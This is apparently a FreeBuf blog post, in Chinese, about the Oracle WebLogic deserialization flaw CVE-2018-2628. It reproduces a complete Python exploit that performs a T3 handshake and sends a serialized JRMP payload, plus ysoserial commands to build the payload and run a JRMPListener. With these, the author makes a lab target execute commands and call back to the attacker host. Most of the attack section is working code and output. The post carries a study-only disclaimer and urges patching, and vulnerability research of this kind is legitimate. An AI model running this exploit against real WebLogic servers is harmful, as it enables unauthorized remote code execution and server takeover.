WebLogic CVE

PS:本文验证仅用于学习与研究,请勿非法利用。
一、漏洞概要

北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(CriticalPatchUpdate),其中包含一个高危的Weblogic反

PS:本文验证仅用于学习与研究,请勿非法利用。

一、漏洞概要

北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(CriticalPatchUpdate),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

二、漏洞影响范围

漏洞影响范围包括:

OracleWebLogicServer10.3.6.0  

OracleWebLogicServer12.1.3.0  

OracleWebLogicServer12.2.1.2  

OracleWebLogicServer12.2.1.3

三、漏洞验证现状

目前github上已经出现不少用于检测此漏洞的验证代码,但是绝大多数代码中PAYLOAD字段都包含一个归属为美国的IP地址104.251.228.50,如下所示:

In [2]: PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72
   ...: 787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c
   ...: 6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a617661
   ...: 2e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c65720000000000
   ...: 0000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e
   ...: 03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea9
   ...: 0b00000000000000000000000000000078']

In [3]: PAYLOAD[0].decode('hex')
Out[3]: "\xac\xed\x00\x05s}\x00\x00\x00\x01\x00\x1djava.rmi.activation.Activatorxr\x00\x17java.lang.reflect.Proxy\xe1'\xda \xcc\x10C\xcb\x02\x00\x01L\x00\x01ht\x00%Ljava/lang/reflect/InvocationHandler;xpsr\x00-java.rmi.server.RemoteObjectInvocationHandler\x00\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00xr\x00\x1cjava.rmi.server.RemoteObject\xd3a\xb4\x91\x0ca3\x1e\x03\x00\x00xpw7\x00\nUnicastRef\x00\x0e104.251.228.50\x00\x00\x1bY\x00\x00\x00\x00\x01\xee\xa9\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x"

四、我的漏洞验证

对此,我搭建实验环境进行了测试,与大家分享一下心得(整个测试中涉及到的IP地址均为实验环境中的地址)

4.1 漏洞验证代码

先贴上我的代码,仅为单线程示例代码,多线程的请各位大神自己修改

# coding: utf-8

import re

import sys

import socket

from time import sleep

VUL=['CVE-2018-2628']

# 需要自定义监听地址,目前为11.10.67.83

PAYLOAD=['aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707734000a556e6963617374526566000b31312e31302e36372e38330000044bffffffff981c9bd400000000000000000000000000000078']

VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock, server_addr):

sock.connect(server_addr)

sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

sleep(1)

sock.recv(1024)

sys.stdout.write('handshake successful\n')

def buildT3RequestObject(sock, dport):

data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))

data3 = '1a7727000d3234322e323134'

data4 = '2e312e32353461863d1d0000000078'

for d in [data1, data2, data3, data4]:

sock.send(d.decode('hex'))

sleep(2)

sys.stdout.write('send request payload successful,recv length:%d\n' % (len(sock.recv(2048))))

def sendEvilObjData(sock, data):

payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

payload+=data

payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

payload = '%s%s' % ('{:08x}'.format(len(payload)/2 + 4), payload)

sock.send(payload.decode('hex'))

sleep(2)

sock.send(payload.decode('hex'))

res = ''

try:

while True:

res += sock.recv(4096)

sleep(0.1)

except Exception as e:

pass

return res

def checkVul(res, server_addr, index):

p=re.findall(VER_SIG[index], res, re.S)

if len(p)>0:

return '[+] {}:{} is vul {}'.format(server_addr[0], server_addr[1], VUL[index])

else:

return '[-] {}:{} is not vul {}'.format(server_addr[0], server_addr[1], VUL[index])

def run(*args):

dip = args[0]

dport = args[1]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整

sock.settimeout(15)

server_addr = (dip, dport)

t3handshake(sock, server_addr)

buildT3RequestObject(sock, dport)

rs=sendEvilObjData(sock, PAYLOAD[index])

print checkVul(rs, server_addr, index)

def single():

dip = sys.argv[1]

dport = int(sys.argv[2])

run(dip, dport)

if __name__ == '__main__':

index = 0

single()

4.2 PAYLOAD字段修改

对于如何修改代码中的PAYLOAD字段中的地址,可以使用ysoserial获取,命令为:

$ java -jar ysoserial-master.jar JRMPClient 11.10.67.83:1099 | xxd
00000000: aced 0005 737d 0000 0001 001a 6a61 7661 ....s}......java
00000010: 2e72 6d69 2e72 6567 6973 7472 792e 5265 .rmi.registry.Re
00000020: 6769 7374 7279 7872 0017 6a61 7661 2e6c gistryxr..java.l
00000030: 616e 672e 7265 666c 6563 742e 5072 6f78 ang.reflect.Prox
00000040: 79e1 27da 20cc 1043 cb02 0001 4c00 0168 y.'. ..C....L..h
00000050: 7400 254c 6a61 7661 2f6c 616e 672f 7265 t.%Ljava/lang/re
00000060: 666c 6563 742f 496e 766f 6361 7469 6f6e flect/Invocation
00000070: 4861 6e64 6c65 723b 7870 7372 002d 6a61 Handler;xpsr.-ja
00000080: 7661 2e72 6d69 2e73 6572 7665 722e 5265 va.rmi.server.Re
00000090: 6d6f 7465 4f62 6a65 6374 496e 766f 6361 moteObjectInvoca
000000a0: 7469 6f6e 4861 6e64 6c65 7200 0000 0000 tionHandler.....
000000b0: 0000 0202 0000 7872 001c 6a61 7661 2e72 ......xr..java.r
000000c0: 6d69 2e73 6572 7665 722e 5265 6d6f 7465 mi.server.Remote
000000d0: 4f62 6a65 6374 d361 b491 0c61 331e 0300 Object.a...a3...
000000e0: 0078 7077 3400 0a55 6e69 6361 7374 5265 .xpw4..UnicastRe
000000f0: 6600 0b31 312e 3130 2e36 372e 3833 0000 f..11.10.67.83.. 00000100: 044b ffff ffff c56f 9b74 0000 0000 0000 .K.....o.t...... 00000110: 0000 0000 0000 0000 0078 .........x

注意ysoserial需要依赖JDK,运行上述命令可以得到自己的PAYLOAD(这里是

aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707734000a556e6963617374526566000b31312e31302e36372e38330000044bffffffff981c9bd400000000000000000000000000000078

),替换代码中的PAYLOAD内容即可。

4.3 漏洞验证

通过ysoserial设置JRMPListener主机,并输入回传的待执行命令,命令如下:

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "命令"

运行上述命令后可以正式进行试验。为了验证此漏洞远程代码执行的效果,以安装Weblogic的Linux服务器为例,可以执行curl命令测试,让其访问我们自己搭建的Web服务器并查看Web日志,如果日志中有目标机器的IP地址,并表明存在此漏洞并已经成功利用。最后贴下漏洞验证效果。本次测试的攻击机为11.10.67.83 (实验室私有IP),RMPListener与Web服务均在此服务器启用

目标靶机为11.10.138.61(实验室私有IP)


在攻击机上执行以下命令对靶机11.10.138.61进行攻击

python test.py 11.10.138.61 7001

在攻击机11.10.67.83上显示


在11.10.67.83的Web日志中可以看到结果


可以看到利用此漏洞让目标靶机11.10.138.61访问了攻击机11.10.67.83的Web服务。

五、结论

通过上述实验可以看到,此漏洞确实具备远程代码执行的能力,请安全与运维人员提高警惕,尽快修复此漏洞。对于此漏洞,Oracle官方已经给出了相应补丁,强烈建议受影响的用户尽快升级更新进行防护。

以上验证仅用于学习与研究,请勿非法利用。

*本文作者:kaixin3000,转载请注明来自FreeBuf.COM

相关推荐

留言与评论(共有 0 条评论)
   
验证码: